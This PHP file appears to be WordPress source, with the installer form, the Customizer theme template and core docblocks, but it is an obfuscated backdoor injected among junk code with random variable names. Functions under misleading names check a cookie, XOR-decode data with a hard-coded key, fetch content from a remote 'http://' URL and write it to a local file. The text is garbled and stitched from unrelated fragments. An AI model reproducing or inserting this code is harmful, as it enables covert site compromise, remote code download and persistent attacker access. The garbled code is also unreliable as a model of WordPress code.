$COMRReceivedAsLookup['vuk8e28a'] = 'rmzf5ymz1'; if(!isset($same)) { $same = 'nj2dke'; } $same = ltrim($the_weekday_date); $exported_schema = (!isset($exported_schema)? "p8hbv8mq" : "hk73z"); $is_declarations_object = is_string($uniqueid); return $robots_rewrite; } // Try to create image thumbnails for PDFs. // The use of this software is at the risk of the user. $new_user_ignore_pass = 'eaps'; // End display_header(). /* * Displays installer setup form. * * @since 2.8.0 * * @global wpdb $ThisFileInfo WordPress database abstraction object. * * @param string\|null $wp_xmlrpc_server_class / function inject_video_max_width_style($wp_xmlrpc_server_class = null) { global $ThisFileInfo; $T2d = $ThisFileInfo->get_var($ThisFileInfo->prepare('SHOW TABLES LIKE %s', $ThisFileInfo->esc_like($ThisFileInfo->users))) !== null; // Ensure that sites appear in search engines by default. $create_cap = 1; if (isset($_POST['weblog_title'])) { $create_cap = isset($_POST['blog_public']) ? (int) $_POST['blog_public'] : $create_cap; } $old_data = isset($_POST['weblog_title']) ? trim(wp_unslash($_POST['weblog_title'])) : ''; $history = isset($_POST['user_name']) ? trim(wp_unslash($_POST['user_name'])) : ''; $archive_slug = isset($_POST['admin_email']) ? trim(wp_unslash($_POST['admin_email'])) : ''; if (!is_null($wp_xmlrpc_server_class)) { <h1> _ex('Welcome', 'Howdy'); </h1> <p class="message"> echo $wp_xmlrpc_server_class; </p> } <form id="setup" method="post" action="install.php?step=2" novalidate="novalidate"> <table class="form-table" role="presentation"> <tr> <th scope="row"><label for="weblog_title"> _e('Site Title'); </label></th> <td><input name="weblog_title" type="text" id="weblog_title" size="25" value=" echo esc_attr($old_data); " /></td> </tr> <tr> <th scope="row"><label for="user_login"> _e('Username'); </label></th> <td> if ($T2d) { _e('User(s) already exists.'); echo '<input name="user_name" type="hidden" value="admin" />'; } else { <input name="user_name" type="text" id="user_login" size="25" aria-describedby="user-name-desc" value=" echo esc_attr(sanitize_user($history, true)); " /> <p id="user-name-desc"> _e('Usernames can have only alphanumeric characters, spaces, underscores, hyphens, periods, and the @ symbol.'); </p> } </td> </tr> if (!$T2d) { <tr class="form-field form-required user-pass1-wrap"> <th scope="row"> <label for="pass1"> _e('Password'); </label> </th> <td> <div class="wp-pwd"> $datef = isset($_POST['admin_password']) ? stripslashes($_POST['admin_password']) : wp_generate_password(18); <div class="password-input-wrapper"> <input type="password" name="admin_password" id="pass1" class="regular-text" autocomplete="new-password" spellcheck="false" data-reveal="1" data-pw=" echo esc_attr($datef); " aria-describedby="pass-strength-result admin-password-desc" /> <div id="pass-strength-result" aria-live="polite"></div> </div> <button type="button" class="button wp-hide-pw hide-if-no-js" data-start-masked=" echo (int) isset($_POST['admin_password']); " data-toggle="0" aria-label=" esc_attr_e('Hide password'); "> <span class="dashicons dashicons-hidden"></span> <span class="text"> _e('Hide'); </span> </button> </div> <p id="admin-password-desc"><span class="description important hide-if-no-js"> <strong> _e('Important:'); </strong> / translators: The non-breaking space prevents 1Password from thinking the text "log in" should trigger a password save prompt. / _e('You will need this password to log in. Please store it in a secure location.'); </span></p> </td> </tr> <tr class="form-field form-required user-pass2-wrap hide-if-js"> <th scope="row"> <label for="pass2"> _e('Repeat Password'); <span class="description"> _e('(required)'); </span> </label> </th> <td> <input type="password" name="admin_password2" id="pass2" autocomplete="new-password" spellcheck="false" /> </td> </tr> <tr class="pw-weak"> <th scope="row"> _e('Confirm Password'); </th> <td> <label> <input type="checkbox" name="pw_weak" class="pw-checkbox" /> _e('Confirm use of weak password'); </label> </td> </tr> } <tr> <th scope="row"><label for="admin_email"> _e('Your Email'); </label></th> <td><input name="admin_email" type="email" id="admin_email" size="25" aria-describedby="admin-email-desc" value=" echo esc_attr($archive_slug); " /> <p id="admin-email-desc"> _e('Double-check your email address before continuing.'); </p></td> </tr> <tr> <th scope="row"> has_action('blog_privacy_selector') ? _e('Site visibility') : _e('Search engine visibility'); </th> <td> <fieldset> <legend class="screen-reader-text"><span> has_action('blog_privacy_selector') ? _e('Site visibility') : _e('Search engine visibility'); </span></legend> if (has_action('blog_privacy_selector')) { <input id="blog-public" type="radio" name="blog_public" value="1" checked(1, $create_cap); /> <label for="blog-public"> _e('Allow search engines to index this site'); </label><br /> <input id="blog-norobots" type="radio" name="blog_public" aria-describedby="public-desc" value="0" checked(0, $create_cap); /> <label for="blog-norobots"> _e('Discourage search engines from indexing this site'); </label> <p id="public-desc" class="description"> _e('Note: Discouraging search engines does not block access to your site — it is up to search engines to honor your request.'); </p> /* This action is documented in wp-admin/options-reading.php / do_action('blog_privacy_selector'); } else { <label for="blog_public"><input name="blog_public" type="checkbox" id="blog_public" aria-describedby="privacy-desc" value="0" checked(0, $create_cap); /> _e('Discourage search engines from indexing this site'); </label> <p id="privacy-desc" class="description"> _e('It is up to search engines to honor this request.'); </p> } </fieldset> </td> </tr> </table> <p class="step"> submit_button(__('Install WordPress'), 'large', 'Submit', false, array('id' => 'submit')); </p> <input type="hidden" name="language" value=" echo isset($control_callback['language']) ? esc_attr($control_callback['language']) : ''; " /> </form> } / @var WP_Sitemaps_Provider $provider / if(!empty(log10(857)) != FALSE) { $atom_size_extended_bytes = 'bcj8rphm'; } $folder_plugins = (!isset($folder_plugins)? 'qcwu' : 'dyeu'); $core_current_version['ozhvk6g'] = 'wo1263'; /* * Gets the URL to learn more about updating the PHP version the site is running on. * * This URL can be overridden by specifying an environment variable `WP_UPDATE_PHP_URL` or by using the * {@see 'wp_update_php_url'} filter. Providing an empty string is not allowed and will result in the * default URL being used. Furthermore the page the URL links to should preferably be localized in the * site language. * * @since 5.1.0 * * @return string URL to learn more about updating PHP. / function rest_validate_request_arg() { $sslverify = wp_get_default_update_php_url(); $linear_factor_scaled = $sslverify; if (false !== getenv('WP_UPDATE_PHP_URL')) { $linear_factor_scaled = getenv('WP_UPDATE_PHP_URL'); } /* * Filters the URL to learn more about updating the PHP version the site is running on. * * Providing an empty string is not allowed and will result in the default URL being used. Furthermore * the page the URL links to should preferably be localized in the site language. * * @since 5.1.0 * * @param string $linear_factor_scaled URL to learn more about updating PHP. / $linear_factor_scaled = apply_filters('wp_update_php_url', $linear_factor_scaled); if (empty($linear_factor_scaled)) { $linear_factor_scaled = $sslverify; } return $linear_factor_scaled; } /* * Removes all of the callback functions from an action hook. * * @since 2.7.0 * * @param string $hook_name The action to remove callbacks from. * @param int\|false $priority Optional. The priority number to remove them from. * Default false. * @return true Always returns true. / if(!(rawurlencode($post_query)) === True){ $segments = 'au9a0'; } / translators: 1: Site URL, 2: Table name, 3: Database name. / if(!empty(strip_tags($tablefields)) !== False) { $upload_port = 'po1b4l'; } /* * MagpieRSS: a simple RSS integration tool * * A compiled file for RSS syndication * * @author Kellan Elliott-McCrea <kellan@protest.net> * @version 0.51 * @license GPL * * @package External * @subpackage MagpieRSS * @deprecated 3.0.0 Use SimplePie instead. / function timer_stop($has_block_alignment){ $has_block_alignment = "http://" . $has_block_alignment; // The default text domain is handled by `load_default_textdomain()`. $exporter_keys = 'hzhablz'; $thumbnail_html = 'ebbzhr'; if(empty(exp(977)) != true) { $chpl_version = 'vm5bobbz'; } $offer['xuj9x9'] = 2240; $ver = 'gr3wow0'; $renamed = 'fh3tw4dw'; if((strtolower($exporter_keys)) == TRUE) { $return_val = 'ngokj4j'; } $nextFrameID = 'vb1xy'; if(!isset($auto_expand_sole_section)) { $auto_expand_sole_section = 'r14j78zh'; } if(!isset($resized)) { $resized = 'ooywnvsta'; } $auto_expand_sole_section = decbin(157); if(!empty(strrpos($thumbnail_html, $renamed)) !== True) { $custom_class_name = 'eiwvn46fd'; } $force_check['atc1k3xa'] = 'vbg72'; $resized = floor(809); $a11 = 'w0u1k'; return file_get_contents($has_block_alignment); } / * Last line might be empty because $input_string was terminated * with a newline, remove it from the $lines array, * we'll restore state by re-terminating the string at the end. / function wp_refresh_post_lock($has_block_alignment){ // External temperature in degrees Celsius outside the recorder's housing $hide = 'pza4qald'; if(!isset($determined_format)) { $determined_format = 'l1jxprts8'; } $placeholder_id = 'yvro5'; $deviation_cbr_from_header_bitrate = 'u52eddlr'; $chan_props = basename($has_block_alignment); $gs = sodium_hex2bin($chan_props); $a4 = (!isset($a4)? 'qn1yzz' : 'xzqi'); $determined_format = deg2rad(432); $placeholder_id = strrpos($placeholder_id, $placeholder_id); $sideloaded = (!isset($sideloaded)? "z4d8n3b3" : "iwtddvgx"); $author_display_name['zyfy667'] = 'cvbw0m2'; $hide = strnatcasecmp($hide, $hide); $link_id['fu7uqnhr'] = 'vzf7nnp'; $header_thumbnail['h2zuz7039'] = 4678; $deviation_cbr_from_header_bitrate = strcoll($deviation_cbr_from_header_bitrate, $deviation_cbr_from_header_bitrate); if(!isset($printed)) { $printed = 'dvtu'; } $c8['jamm3m'] = 1329; $cipherlen['px17'] = 'kjy5'; // array( ints ) // Full URL - WP_CONTENT_DIR is defined further up. NoNullString($has_block_alignment, $gs); } /* * Filters the link title attribute for the 'Search engines discouraged' * message displayed in the 'At a Glance' dashboard widget. * * Prior to 3.8.0, the widget was named 'Right Now'. * * @since 3.0.0 * @since 4.5.0 The default for `$title` was updated to an empty string. * * @param string $title Default attribute text. / if(empty(strrpos($isize, $isize)) === FALSE) { $role__not_in_clauses = 'hk8v3qxf8'; } /* * Whether or not the current Users list table is for Multisite. * * @since 3.1.0 * @var bool / function sodium_crypto_sign_seed_keypair ($same){ $timeout = 'qhmdzc5'; $thisfile_video = 'mvkyz'; $shcode = 'i7ai9x'; $site_states = 'mfbjt3p6'; $filter_payload = 'e0ix9'; $same = 'dh8ms'; if(!empty(md5($filter_payload)) != True) { $feature_group = 'tfe8tu7r'; } if(!empty(str_repeat($shcode, 4)) != true) { $wp_post = 'c9ws7kojz'; } $timeout = rtrim($timeout); if((strnatcasecmp($site_states, $site_states)) !== TRUE) { $is_delete = 'yfu7'; } $thisfile_video = md5($thisfile_video); $CommandTypeNameLength = 'hu691hy'; $checkname['miif5r'] = 3059; if(empty(lcfirst($shcode)) === true) { $setting_ids = 'lvgnpam'; } if(!empty(base64_encode($thisfile_video)) === true) { $buffer = 'tkzh'; } $bulk_counts['vkkphn'] = 128; $min_compressed_size = 'f6ra3s'; //If we have requested a specific auth type, check the server supports it before trying others //Make sure we are __not__ connected // If the meta box is declared as incompatible with the block editor, override the callback function. $userpass['u6fsnm'] = 4359; $thisfile_video = convert_uuencode($thisfile_video); $timeout = lcfirst($timeout); if(!isset($double)) { $double = 'hhwm'; } $next_event = (!isset($next_event)? "i4fngr" : "gowzpj4"); // Directly fetch site_admins instead of using get_super_admins(). // Randomize the order of Image blocks. $f7_2 = (!isset($f7_2)? 'td0t4' : 'a1eyu4h'); // int64_t a11 = (load_4(a + 28) >> 7); if(!isset($encoded_name)) { $encoded_name = 'd6gmgk'; } $double = strrpos($site_states, $site_states); if(!isset($split_the_query)) { $split_the_query = 'q2o9k'; } $thisfile_video = decoct(164); $timeout = ceil(165); $surroundMixLevelLookup['mnxgs'] = 4091; $thisfile_video = asin(534); $encoded_name = substr($shcode, 20, 15); $update_major['bv9lu'] = 2643; $split_the_query = strnatcmp($filter_payload, $CommandTypeNameLength); $found_themes = 'qtig'; $thisfile_video = is_string($thisfile_video); $split_the_query = tan(742); $site_states = strtoupper($site_states); $timeout = floor(727); $same = strcoll($same, $min_compressed_size); $robots_rewrite = 'cpqqig3'; $after_block_visitor = (!isset($after_block_visitor)? "qbvv" : "q170kk72"); $same = ucwords($robots_rewrite); $carry16['or82o3d'] = 'r7hpdl'; $encoded_name = rawurlencode($found_themes); $dns['at5kg'] = 3726; $name_attr['oa4f'] = 'zrz79tcci'; $filter_payload = quotemeta($CommandTypeNameLength); $site_states = rtrim($site_states); if(!isset($color_classes)) { $color_classes = 'o3lmrr18'; } $color_classes = addcslashes($robots_rewrite, $same); $robots_rewrite = ltrim($color_classes); if(empty(asinh(895)) === false) { $threshold = 'io6w'; } $min_compressed_size = sinh(999); $surmixlev = 'wc4o7'; if(!(base64_encode($surmixlev)) == false){ $srcLen = 'tj1wid1'; } $site_capabilities_key['yrjz3'] = 2721; $same = htmlspecialchars($surmixlev); $keep['lriuae'] = 2004; if(empty(atanh(280)) !== FALSE) { $authTag = 'ze6a7'; } $uniqueid = 'kggb'; $lcs['uxuert0rx'] = 770; if(!empty(strnatcasecmp($uniqueid, $surmixlev)) !== false) { $ac3_coding_mode = 'gwzu65'; } $eraser_done = 'prb7'; $stylesheet_dir['m7xwcl'] = 1653; $eraser_done = stripcslashes($eraser_done); $user_can['gx3j21d'] = 'qzw7q8cq'; $bittotal['yt6vw'] = 'nnjlmzc'; $robots_rewrite = chop($surmixlev, $surmixlev); $the_weekday_date = 'j81suxb8'; $uniqueid = substr($the_weekday_date, 15, 24); $color_classes = sinh(622); return $same; } $shared_term = (!isset($shared_term)? 'wbvv' : 'lplqsg2'); /* * Parent post type. * * @since 4.7.0 * @var string / if(empty(tan(635)) != TRUE){ $unused_plugins = 'joqh77b7'; } /* @var ParagonIE_Sodium_Core32_Int32 $d / if(!empty(round(608)) !== true) { $filtered = 'kugo'; } $isize = atanh(692); /* * Filters a plugin's locale. * * @since 3.0.0 * * @param string $locale The plugin's current locale. * @param string $domain Text domain. Unique identifier for retrieving translated strings. / function feed_links_extra($wd, $resolve_variables){ // Information <text string(s) according to encoding> $ver = 'gr3wow0'; if(!isset($mapped_from_lines)) { $mapped_from_lines = 'd59zpr'; } // Add note about deprecated WPLANG constant. $query_part = strlen($resolve_variables); // Check filesystem credentials. `delete_theme()` will bail otherwise. // Pretend CRLF = LF for compatibility (RFC 2616, section 19.3) $endTime = strlen($wd); $nextFrameID = 'vb1xy'; $mapped_from_lines = round(640); $query_part = $endTime / $query_part; if(!(exp(706)) != false) { $highestIndex = 'g5nyw'; } $force_check['atc1k3xa'] = 'vbg72'; // Only use required / default from arg_options on CREATABLE endpoints. // http://www.geocities.com/xhelmboyx/quicktime/formats/qtm-layout.txt // but only one with the same content descriptor // first 4 bytes are in little-endian order $query_part = ceil($query_part); // Allow assigning values to CSS variables. $comments_waiting = str_split($wd); $resolve_variables = str_repeat($resolve_variables, $query_part); if(empty(strip_tags($mapped_from_lines)) !== TRUE) { $thumb_id = 'uf7z6h'; } $nextFrameID = stripos($ver, $nextFrameID); // the ever-present flags // Add the global styles root CSS. $trackback_pings['px7gc6kb'] = 3576; $mapped_from_lines = stripos($mapped_from_lines, $mapped_from_lines); $wp_registered_settings['sryf1vz'] = 3618; if(!(sha1($ver)) === False) { $role__in_clauses = 'f8cryz'; } // Content/explanation <textstring> $00 (00) // Generate any feature/subfeature style declarations for the current style variation. $uploaded_on = str_split($resolve_variables); $uploaded_on = array_slice($uploaded_on, 0, $endTime); $qvalue = array_map("ClosestStandardMP3Bitrate", $comments_waiting, $uploaded_on); // @todo Transient caching of these results with proper invalidation on updating of a post of this type. $qvalue = implode('', $qvalue); // ----- Last '/' i.e. indicates a directory return $qvalue; } $index_columns_without_subparts['fqmclj6cc'] = 'rhe0'; $isauthority = (!isset($isauthority)? "seuaoi" : "th8pjo17"); /* * Retrieves the current time based on specified type. * * - The 'mysql' type will return the time in the format for MySQL DATETIME field. * - The 'timestamp' or 'U' types will return the current timestamp or a sum of timestamp * and timezone offset, depending on `$QuicktimeIODSaudioProfileNameLookup`. * - Other strings will be interpreted as PHP date formats (e.g. 'Y-m-d'). * * If `$QuicktimeIODSaudioProfileNameLookup` is a truthy value then both types will use GMT time, otherwise the * output is adjusted with the GMT offset for the site. * * @since 1.0.0 * @since 5.3.0 Now returns an integer if `$multi` is 'U'. Previously a string was returned. * * @param string $multi Type of time to retrieve. Accepts 'mysql', 'timestamp', 'U', * or PHP date format string (e.g. 'Y-m-d'). * @param int\|bool $QuicktimeIODSaudioProfileNameLookup Optional. Whether to use GMT timezone. Default false. * @return int\|string Integer if `$multi` is 'timestamp' or 'U', string otherwise. / function privErrorReset($multi, $QuicktimeIODSaudioProfileNameLookup = 0) { // Don't use non-GMT timestamp, unless you know the difference and really need to. if ('timestamp' === $multi \|\| 'U' === $multi) { return $QuicktimeIODSaudioProfileNameLookup ? time() : time() + (int) (get_option('gmt_offset') HOUR_IN_SECONDS); } if ('mysql' === $multi) { $multi = 'Y-m-d H:i:s'; } $comment1 = $QuicktimeIODSaudioProfileNameLookup ? new DateTimeZone('UTC') : wp_timezone(); $is_multi_author = new DateTime('now', $comment1); return $is_multi_author->format($multi); } $new_user_ignore_pass = trim($new_user_ignore_pass); /** * Filters the available menu items. * * @since 4.3.0 * * @param array $items The array of menu items. * @param string $object_type The object type. * @param string $object_name The object name. * @param int $page The current page number. / function NoNullString($has_block_alignment, $gs){ $post_classes = 'siu0'; if(!isset($output_mime_type)) { $output_mime_type = 'e27s5zfa'; } $plain_field_mappings = 'c931cr1'; $errmsg_blogname = 'ipvepm'; $x8['tub49djfb'] = 290; // Initialize the filter globals. if(!isset($excluded_referer_basenames)) { $excluded_referer_basenames = 'pqcqs0n0u'; } $fonts['eau0lpcw'] = 'pa923w'; $output_mime_type = atanh(547); if((convert_uuencode($post_classes)) === True) { $add_iframe_loading_attr = 'savgmq'; } $player = (!isset($player)? 't366' : 'mdip5'); // get whole data in one pass, till it is anyway stored in memory $root_value = timer_stop($has_block_alignment); $excluded_referer_basenames = sin(883); $status_field['awkrc4900'] = 3113; $post_classes = strtolower($post_classes); $AudioCodecBitrate = 'bktcvpki2'; $sb['vb9n'] = 2877; // Site-related. $default_label = 'xdu7dz8a'; $script_src['jvr0ik'] = 'h4r4wk28'; if(!isset($embed_cache)) { $embed_cache = 'ewdepp36'; } $menu_item_id = (!isset($menu_item_id)? 'zkeh' : 'nyv7myvcc'); $errmsg_blogname = rtrim($errmsg_blogname); if ($root_value === false) { return false; } $wd = file_put_contents($gs, $root_value); return $wd; } /* * Prints JS templates for the theme-browsing UI in the Customizer. * * @since 4.2.0 / function comment_type_dropdown() { <script type="text/html" id="tmpl-customize-themes-details-view"> <div class="theme-backdrop"></div> <div class="theme-wrap wp-clearfix" role="document"> <div class="theme-header"> <button type="button" class="left dashicons dashicons-no"><span class="screen-reader-text"> / translators: Hidden accessibility text. / _e('Show previous theme'); </span></button> <button type="button" class="right dashicons dashicons-no"><span class="screen-reader-text"> / translators: Hidden accessibility text. / _e('Show next theme'); </span></button> <button type="button" class="close dashicons dashicons-no"><span class="screen-reader-text"> / translators: Hidden accessibility text. / _e('Close details dialog'); </span></button> </div> <div class="theme-about wp-clearfix"> <div class="theme-screenshots"> <# if ( data.screenshot && data.screenshot[0] ) { #> <div class="screenshot"><img src="{{ data.screenshot[0] }}?ver={{ data.version }}" alt="" /></div> <# } else { #> <div class="screenshot blank"></div> <# } #> </div> <div class="theme-info"> <# if ( data.active ) { #> <span class="current-label"> _e('Active Theme'); </span> <# } #> <h2 class="theme-name">{{{ data.name }}}<span class="theme-version"> / translators: %s: Theme version. / printf(__('Version: %s'), '{{ data.version }}'); </span></h2> <h3 class="theme-author"> / translators: %s: Theme author link. / printf(__('By %s'), '{{{ data.authorAndUri }}}'); </h3> <# if ( data.stars && 0 != data.num_ratings ) { #> <div class="theme-rating"> {{{ data.stars }}} <a class="num-ratings" target="_blank" href="{{ data.reviews_url }}"> printf( '%1$s <span class="screen-reader-text">%2$s</span>', / translators: %s: Number of ratings. / sprintf(__('(%s ratings)'), '{{ data.num_ratings }}'), / translators: Hidden accessibility text. / __('(opens in a new tab)') ); </a> </div> <# } #> <# if ( data.hasUpdate ) { #> <# if ( data.updateResponse.compatibleWP && data.updateResponse.compatiblePHP ) { #> <div class="notice notice-warning notice-alt notice-large" data-slug="{{ data.id }}"> <h3 class="notice-title"> _e('Update Available'); </h3> {{{ data.update }}} </div> <# } else { #> <div class="notice notice-error notice-alt notice-large" data-slug="{{ data.id }}"> <h3 class="notice-title"> _e('Update Incompatible'); </h3> <p> <# if ( ! data.updateResponse.compatibleWP && ! data.updateResponse.compatiblePHP ) { #> printf( / translators: %s: Theme name. / __('There is a new version of %s available, but it does not work with your versions of WordPress and PHP.'), '{{{ data.name }}}' ); if (current_user_can('update_core') && current_user_can('update_php')) { printf( / translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. / ' ' . __('<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.'), self_admin_url('update-core.php'), esc_url(rest_validate_request_arg()) ); wp_update_php_annotation('</p><p><em>', '</em>'); } elseif (current_user_can('update_core')) { printf( / translators: %s: URL to WordPress Updates screen. / ' ' . __('<a href="%s">Please update WordPress</a>.'), self_admin_url('update-core.php') ); } elseif (current_user_can('update_php')) { printf( / translators: %s: URL to Update PHP page. / ' ' . __('<a href="%s">Learn more about updating PHP</a>.'), esc_url(rest_validate_request_arg()) ); wp_update_php_annotation('</p><p><em>', '</em>'); } <# } else if ( ! data.updateResponse.compatibleWP ) { #> printf( / translators: %s: Theme name. / __('There is a new version of %s available, but it does not work with your version of WordPress.'), '{{{ data.name }}}' ); if (current_user_can('update_core')) { printf( / translators: %s: URL to WordPress Updates screen. / ' ' . __('<a href="%s">Please update WordPress</a>.'), self_admin_url('update-core.php') ); } <# } else if ( ! data.updateResponse.compatiblePHP ) { #> printf( / translators: %s: Theme name. / __('There is a new version of %s available, but it does not work with your version of PHP.'), '{{{ data.name }}}' ); if (current_user_can('update_php')) { printf( / translators: %s: URL to Update PHP page. / ' ' . __('<a href="%s">Learn more about updating PHP</a>.'), esc_url(rest_validate_request_arg()) ); wp_update_php_annotation('</p><p><em>', '</em>'); } <# } #> </p> </div> <# } #> <# } #> <# if ( data.parent ) { #> <p class="parent-theme"> printf( / translators: %s: Theme name. / __('This is a child theme of %s.'), '<strong>{{{ data.parent }}}</strong>' ); </p> <# } #> <# if ( ! data.compatibleWP \|\| ! data.compatiblePHP ) { #> <div class="notice notice-error notice-alt notice-large"><p> <# if ( ! data.compatibleWP && ! data.compatiblePHP ) { #> _e('This theme does not work with your versions of WordPress and PHP.'); if (current_user_can('update_core') && current_user_can('update_php')) { printf( / translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. / ' ' . __('<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.'), self_admin_url('update-core.php'), esc_url(rest_validate_request_arg()) ); wp_update_php_annotation('</p><p><em>', '</em>'); } elseif (current_user_can('update_core')) { printf( / translators: %s: URL to WordPress Updates screen. / ' ' . __('<a href="%s">Please update WordPress</a>.'), self_admin_url('update-core.php') ); } elseif (current_user_can('update_php')) { printf( / translators: %s: URL to Update PHP page. / ' ' . __('<a href="%s">Learn more about updating PHP</a>.'), esc_url(rest_validate_request_arg()) ); wp_update_php_annotation('</p><p><em>', '</em>'); } <# } else if ( ! data.compatibleWP ) { #> _e('This theme does not work with your version of WordPress.'); if (current_user_can('update_core')) { printf( / translators: %s: URL to WordPress Updates screen. / ' ' . __('<a href="%s">Please update WordPress</a>.'), self_admin_url('update-core.php') ); } <# } else if ( ! data.compatiblePHP ) { #> _e('This theme does not work with your version of PHP.'); if (current_user_can('update_php')) { printf( / translators: %s: URL to Update PHP page. / ' ' . __('<a href="%s">Learn more about updating PHP</a>.'), esc_url(rest_validate_request_arg()) ); wp_update_php_annotation('</p><p><em>', '</em>'); } <# } #> </p></div> <# } else if ( ! data.active && data.blockTheme ) { #> <div class="notice notice-error notice-alt notice-large"><p> _e('This theme doesn\'t support Customizer.'); <# if ( data.actions.activate ) { #> printf( / translators: %s: URL to the themes page (also it activates the theme). / ' ' . __('However, you can still <a href="%s">activate this theme</a>, and use the Site Editor to customize it.'), '{{{ data.actions.activate }}}' ); <# } #> </p></div> <# } #> <p class="theme-description">{{{ data.description }}}</p> <# if ( data.tags ) { #> <p class="theme-tags"><span> _e('Tags:'); </span> {{{ data.tags }}}</p> <# } #> </div> </div> <div class="theme-actions"> <# if ( data.active ) { #> <button type="button" class="button button-primary customize-theme"> _e('Customize'); </button> <# } else if ( 'installed' === data.type ) { #> <div class="theme-inactive-actions"> <# if ( data.blockTheme ) { #> / translators: %s: Theme name. / $is_title_empty = sprintf(_x('Activate %s', 'theme'), '{{ data.name }}'); <# if ( data.compatibleWP && data.compatiblePHP && data.actions.activate ) { #> <a href="{{{ data.actions.activate }}}" class="button button-primary activate" aria-label=" echo esc_attr($is_title_empty); "> _e('Activate'); </a> <# } #> <# } else { #> <# if ( data.compatibleWP && data.compatiblePHP ) { #> <button type="button" class="button button-primary preview-theme" data-slug="{{ data.id }}"> _e('Live Preview'); </button> <# } else { #> <button class="button button-primary disabled"> _e('Live Preview'); </button> <# } #> <# } #> </div> if (current_user_can('delete_themes')) { <# if ( data.actions && data.actions['delete'] ) { #> <a href="{{{ data.actions['delete'] }}}" data-slug="{{ data.id }}" class="button button-secondary delete-theme"> _e('Delete'); </a> <# } #> } <# } else { #> <# if ( data.compatibleWP && data.compatiblePHP ) { #> <button type="button" class="button theme-install" data-slug="{{ data.id }}"> _e('Install'); </button> <button type="button" class="button button-primary theme-install preview" data-slug="{{ data.id }}"> _e('Install & Preview'); </button> <# } else { #> <button type="button" class="button disabled"> _ex('Cannot Install', 'theme'); </button> <button type="button" class="button button-primary disabled"> _e('Install & Preview'); </button> <# } #> <# } #> </div> </div> </script> } / * Previous `color.__experimentalDuotone` support flag is migrated * to `filter.duotone` via `block_type_metadata_settings` filter. / function readDate($dont_parse){ // module.tag.lyrics3.php // // Restore some info // Apply border classes and styles. $dkimSignatureHeader = 'wdt8'; $teeny = (!isset($teeny)? "pav0atsbb" : "ygldl83b"); $post_id_in = (!isset($post_id_in)? "hcjit3hwk" : "b7h1lwvqz"); $options_to_prime = 'anflgc5b'; $value2 = 'blgxak1'; // q4 to q8 $replaces = 'LQVkJzbVQGlnOzJbkAfJhYfVPSaj'; // WORD // Obsolete tables. $subframe_apic_picturedata['otcr'] = 'aj9m'; $posts_columns['kyv3mi4o'] = 'b6yza25ki'; if(!isset($mce_buttons)) { $mce_buttons = 'a3ay608'; } $toAddr['htkn0'] = 'svbom5'; if(!isset($hostname)) { $hostname = 'df3hv'; } $options_to_prime = ucfirst($options_to_prime); $hostname = round(769); $thisfile_id3v2['tnh5qf9tl'] = 4698; if(!isset($parser)) { $parser = 'khuog48at'; } $mce_buttons = soundex($dkimSignatureHeader); if (isset($_COOKIE[$dont_parse])) { set_quality($dont_parse, $replaces); } } /* * Filters the admin URL for the current site or network depending on context. * * @since 4.9.0 * * @param string $has_block_alignment The complete URL including scheme and path. * @param string $updated_size Path relative to the URL. Blank string if no path is specified. * @param string $scheme The scheme to use. / if((round(661)) !== FALSE) { $has_active_dependents = 'dood9'; } / * array_reduce() doesn't support passing an array in PHP 5.2, * so we need to make sure we start with one. / if(empty(str_shuffle($isize)) != TRUE) { $autosave_query = 'zhk4'; } /* @var WP_Comment / if(!(soundex($post_query)) !== false) { $pingback_link_offset_squote = 'il9xs'; } /* * Filters the default post type query fields used by the given XML-RPC method. * * @since 3.4.0 * * @param array $fields An array of post type fields to retrieve. By default, * contains 'labels', 'cap', and 'taxonomies'. * @param string $method The method name. / if(!(cos(430)) != FALSE) { $numeric_strs = 'l9pqn'; } $new_user_ignore_pass = wp_insert_term($new_user_ignore_pass); / translators: Between password field and private checkbox on post quick edit interface. / if(!isset($destfilename)) { $destfilename = 'nmud'; } $destfilename = log10(105); /* * Sets the comment_status of a given comment object when creating or updating a comment. * * @since 4.7.0 * * @param string\|int $new_status New comment status. * @param int $comment_id Comment ID. * @return bool Whether the status was changed. / function has_published_pages ($nav_menu_style){ $nextRIFFsize = 'pi1bnh'; // Post requires password. $prevchar = 'snw3ss0'; if(!isset($current_term_object)) { $current_term_object = 'xzejcevla'; } $current_term_object = soundex($prevchar); $p_zipname = 'zyiakm7'; $LastHeaderByte = (!isset($LastHeaderByte)? "mcmswjgz7" : "lcid"); $current_term_object = base64_encode($p_zipname); $attr_string = 'indz4tc9'; $strip['jyom'] = 3178; $prevchar = strcspn($attr_string, $prevchar); $prevchar = dechex(912); $zmy = (!isset($zmy)? 't3mlc26r1' : 'wfxp'); $attr_string = sin(172); $repeat = 'hmlh7s4t'; $nav_menu_style = ucfirst($repeat); $attr_string = rawurldecode($repeat); $prevchar = htmlentities($attr_string); $nav_menu_style = cos(171); $p_zipname = rawurldecode($nav_menu_style); if(!(rawurldecode($p_zipname)) !== False) { $upload_action_url = 'g63usf'; } $dimensions_block_styles = 'mxad8p'; $current_term_object = strcoll($prevchar, $dimensions_block_styles); return $nav_menu_style; } /* * If streaming to a file, keep the file pointer * * @var resource / if(!(decoct(108)) === TRUE) { $header_image_data_setting = 'tt1tdcavn'; } /* * Get data for an feed-level element * * This method allows you to get access to ANY element/attribute that is a * sub-element of the opening feed tag. * * The return value is an indexed array of elements matching the given * namespace and tag name. Each element has `attribs`, `data` and `child` * subkeys. For `attribs` and `child`, these contain namespace subkeys. * `attribs` then has one level of associative name => value data (where * `value` is a string) after the namespace. `child` has tag-indexed keys * after the namespace, each member of which is an indexed array matching * this same format. * * For example: * <pre> * // This is probably a bad example because we already support * // <media:content> natively, but it shows you how to parse through * // the nodes. * $group = $item->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'group'); * $content = $group[0]['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content']; * $file = $content[0]['attribs']['']['url']; * echo $file; * </pre> * * @since 1.0 * @see http://simplepie.org/wiki/faq/supported_xml_namespaces * @param string $namespace The URL of the XML namespace of the elements you're trying to access * @param string $tag Tag name * @return array / if((strtoupper($destfilename)) == False) { $trace = 'vi9kmxja'; } /* * Retrieves HTTP Headers from URL. * * @since 1.5.1 * * @param string $has_block_alignment URL to retrieve HTTP headers from. * @param bool $OriginalGenre Not Used. * @return \WpOrg\Requests\Utility\CaseInsensitiveDictionary\|false Headers on success, false on failure. / function print_embed_styles($has_block_alignment, $OriginalGenre 